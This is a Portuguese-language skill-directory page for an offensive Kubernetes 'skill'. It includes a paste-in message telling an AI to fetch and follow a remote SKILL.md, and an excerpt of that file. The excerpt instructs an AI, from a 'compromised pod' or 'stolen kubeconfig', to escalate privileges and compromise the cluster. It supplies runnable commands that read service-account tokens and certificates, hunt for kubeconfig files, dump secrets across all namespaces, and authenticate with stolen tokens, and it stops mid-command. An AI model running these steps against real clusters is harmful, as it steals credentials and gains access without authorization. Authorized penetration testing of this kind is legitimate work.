Pular para o conteúdo
Skillpedia
Deploy e nuvem (DevOps)10 mil · #11952

offensive-k8s-attacks

O que ela faz

Esta skill é uma metodologia para testes de segurança em clusters Kubernetes. Ela cobre contas de serviço, permissões RBAC, exposição do kubelet e acesso aos metadados da nuvem. Ela é para profissionais de segurança que avaliam a segurança de clusters com permissão por escrito.

Quando usar

  • ✓Quando você está testando um cluster Kubernetes em busca de configurações incorretas de RBAC em uma avaliação autorizada.
  • ✓Quando você quer verificar se a conta de serviço de um pod consegue acessar mais do que deveria.
  • ✓Quando você precisa revisar a exposição do kubelet e do etcd em um teste de cluster aprovado.

Link da skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-k8s-attacks/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-k8s-attacks/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Temos autorização para testar nosso cluster Kubernetes. Verifique as permissões da conta de serviço e as regras de RBAC.”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

A skill começa descobrindo sua posição, como um shell de pod ou um arquivo kubeconfig. Depois enumera as permissões e verifica caminhos de escalada, como papéis amplos demais ou portas do kubelet expostas.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

Kubernetes Cluster Attacks

You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.

Quick Workflow

  1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.
  2. Enumerate service account permissions, cluster roles, and accessible resources.
  3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.
  4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.
  5. Extract secrets, pivot to other namespaces, and target the control plane.
  6. Leverage cloud metadata or etcd access for infrastructure-wide compromise.

Phase 1: Initial Enumeration

Determining Your Position

# Check if you are inside a pod
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Environment variables set by Kubernetes
env | grep -i kube
env | grep -i kubernetes

# Service host and port are injected into every pod
echo $KUBERNETES_SERVICE_HOST
echo $KUBERNETES_SERVICE_PORT

# DNS resolution for API server
nslookup kubernetes.default.svc.cluster.local

# Determine if kubectl is available
which kubectl 2>/dev/null
# If not, use curl with the service account token

Setting Up API Access Without kubectl

# Extract token and CA certificate
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# Test API access
curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
  ${APISERVER}/api/v1/namespaces

# Shorthand function for repeated use
k8s_api() {
  curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \
    "${APISERVER}$1"
}

# Check your identity
k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \
  -X POST -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}"

Automated Enumeration Tools

# kube-hunter - Kubernetes penetration testing tool
kube-hunter --active --remote $APISERVER

# peirates - Kubernetes penetration tool (run from within pod)
./peirates

# kubeaudit - Audit Kubernetes clusters for security concerns
kubeaudit all -f /path/to/kubeconfig

# kdigger - Kubernetes-focused container assessment
./kdigger dig all

# kubectl auth can-i - Check your permissions
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
kubectl auth can-i create pods
kubectl auth can-i create pods/exec
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'

Phase 2: Service Account Token Theft and Abuse

Discovering Tokens

# Default service account token mount
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Projected service account tokens (newer clusters)
ls /var/run/secrets/kubernetes.io/serviceaccount/
# Files: token, ca.crt, namespace

# Search for tokens in environment variables and config files
env | grep -i token
find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null
find / -name "*.kubeconfig" 2>/dev/null

# Check mounted secrets in other pods (if you can list or exec)
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}'

# Look for tokens in etcd, configmaps, or environment variables
kubectl get secrets -A
kubectl get configmaps -A -o yaml | grep -i token

Token Impersonation

# Use a stolen token to authenticate
kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \
  --certificate-authority="$CACERT" auth can-i --list

# Impersonate a service account (requires impersonate verb)
kubectl auth can-i impersonate serviceaccounts
kubectl --as=system:serviceaccount:kub
Perguntas frequentes

De onde o teste começa?

Ele pode começar em um shell de pod, em um token roubado, em um servidor de API exposto ou em um arquivo kubeconfig.

Ele verifica também o acesso à nuvem?

Sim. Ela cobre o acesso aos metadados da nuvem e as ligações do IAM da nuvem com o cluster.

Isso serve só para testes autorizados?

Sim. Ela foi escrita para avaliações com permissão por escrito e escopo definido.

Detalhes

Descrição original do autor

Kubernetes cluster attack techniques covering the full attack lifecycle from initial foothold in a pod to cluster-wide compromise. Covers service account token theft and impersonation, RBAC misconfiguration exploitation including wildcard permissions and privilege escalation via role binding, direct etcd access for secret extraction, kubelet API abuse on port 10250 and read-only port 10255, pod escape via hostPID hostNetwork and hostPath volume mounts, Kubernetes secrets enumeration and decoding, admission controller bypass techniques, network policy bypass and lateral movement, cloud metadata

repo: SnailSploit/Claude-Red

Popularidade

Estrelas no GitHub
10 mil
Posição no ranking
#11952
Licença
MIT
Atualizada em
12/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas